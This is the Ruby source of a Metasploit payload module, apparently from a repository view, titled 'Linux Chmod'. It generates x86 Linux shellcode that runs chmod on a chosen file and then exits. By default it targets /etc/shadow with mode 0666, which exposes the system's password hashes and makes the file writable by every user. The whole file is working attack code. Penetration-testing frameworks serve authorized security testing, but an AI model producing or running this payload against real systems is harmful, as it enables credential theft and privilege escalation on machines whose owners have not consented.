42 lines
1.0 KiB
Ruby
42 lines
1.0 KiB
Ruby
require 'msf/core'
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###
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# Linux Chmod(file, mode)
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#
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# Kris Katterjohn - 03/03/2008
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###
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module Metasploit3
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include Msf::Payload::Single
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include Msf::Payload::Linux
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Linux Chmod',
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'Version' => '$Revision$',
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'Description' => 'Runs chmod on specified file with specified mode',
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'Author' => 'kris katterjohn',
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'License' => BSD_LICENSE,
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'Platform' => 'linux',
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'Arch' => ARCH_X86))
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register_options(
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[
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OptString.new('FILE', [ true, "Filename to chmod", "/etc/shadow" ]),
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OptString.new('MODE', [ true, "File mode (octal)", "0666" ]),
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], self.class)
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end
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# Dynamically generates chmod(FILE, MODE) + exit()
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def generate_stage
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file = datastore['FILE'] || '/etc/shadow'
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mode = (datastore['MODE'] || "0666").oct
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payload =
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"\x99\x6a\x0f\x58\x52" +
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Rex::Arch::X86.call(file.length + 1) + file + "\x00" +
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"\x5b" + Rex::Arch::X86.push_dword(mode) +
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"\x59\xcd\x80\x6a\x01\x58\xcd\x80";
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end
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end
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